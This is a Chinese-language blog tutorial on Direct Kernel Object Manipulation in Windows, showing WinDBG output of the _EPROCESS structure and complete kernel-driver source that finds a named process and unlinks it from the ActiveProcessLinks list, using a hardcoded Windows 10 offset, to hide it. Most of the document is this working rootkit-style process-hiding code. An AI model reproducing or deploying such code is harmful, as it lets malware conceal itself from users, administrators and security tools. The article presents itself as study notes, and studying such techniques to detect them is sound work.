DKOM 即直接內核對象操作,我們所有的操作都會被系統記錄在記憶體中,而驅動進程隱藏就是操作進程的EPROCESS結構與線程的ETHREAD結構、鏈表,要實現進程的隱藏我們只需要將某個進程中的信息,在系統EPROCESS鏈表中摘除即可實現進程隱藏。 ...
DKOM 即直接內核對象操作,我們所有的操作都會被系統記錄在記憶體中,而驅動進程隱藏就是操作進程的EPROCESS結構與線程的ETHREAD結構、鏈表,要實現進程的隱藏我們只需要將某個進程中的信息,在系統EPROCESS鏈表中摘除即可實現進程隱藏。
結構體中包含了系統中的所有進程相關信息,通過WinDBG在內核調試模式下輸入dt_eprocess
即可查看到當前的EPROCESS結構體的偏移信息。
1: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY // 活動進程鏈表
+0x300 RundownProtect : _EX_RUNDOWN_REF
+0x308 Flags2 : Uint4B
在實現進程隱藏之前,需要通過代碼的方式獲取到當前系統中所有進程EPROCESS
信息。
#include <ntifs.h>
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
VOID UnDriver(PDRIVER_OBJECT driver)
{
DbgPrint(("驅動程式卸載成功! \n"));
}
PEPROCESS GetProcessObjectByName(char *name)
{
SIZE_T temp;
for (temp = 100; temp<10000; temp += 4)
{
NTSTATUS status;
PEPROCESS ep;
status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
if (NT_SUCCESS(status))
{
char *pn = PsGetProcessImageFileName(ep);
if (_stricmp(pn, name) == 0)
return ep;
}
}
return NULL;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PEPROCESS PRoc = NULL;
PRoc = GetProcessObjectByName("C32Asm.exe");
DriverObject->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
得到句柄以後直接摘除進程的結構即可實現隱藏,該代碼只找了Win10系統下的偏移地址,故只能在Win10下使用。
#include <ntifs.h>
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2f0
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
VOID UnDriver(PDRIVER_OBJECT driver)
{
DbgPrint(("驅動程式卸載成功! \n"));
}
PEPROCESS GetProcessObjectByName(char *name)
{
SIZE_T temp;
for (temp = 100; temp<10000; temp += 4)
{
NTSTATUS status;
PEPROCESS ep;
status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
if (NT_SUCCESS(status))
{
char *pn = PsGetProcessImageFileName(ep);
if (_stricmp(pn, name) == 0)
return ep;
}
}
return NULL;
}
// 隱藏進程
VOID HideProcess(PLIST_ENTRY ListEntry)
{
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry && ListEntry->Blink != ListEntry && ListEntry->Blink->Flink == ListEntry && ListEntry->Flink->Blink == ListEntry)
{
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PEPROCESS PRoc = NULL;
PRoc = GetProcessObjectByName("C32Asm.exe");
// 摘除結構中的C32Asm.exe實現驅動隱藏
HideProcess((PLIST_ENTRY)((ULONG64)PRoc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
DriverObject->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
文章出處:https://www.cnblogs.com/LyShark/p/16641620.html 版權聲明:本博客文章與代碼均為學習時整理的筆記,文章 [均為原創] 作品,轉載請 [添加出處] ,您添加出處是我創作的動力!
轉載文章,請遵守《中華人民共和國著作權法》相關規定或遵守《署名CC BY-ND 4.0國際》禁止演繹規範,合理合規,攜帶原創出處轉載。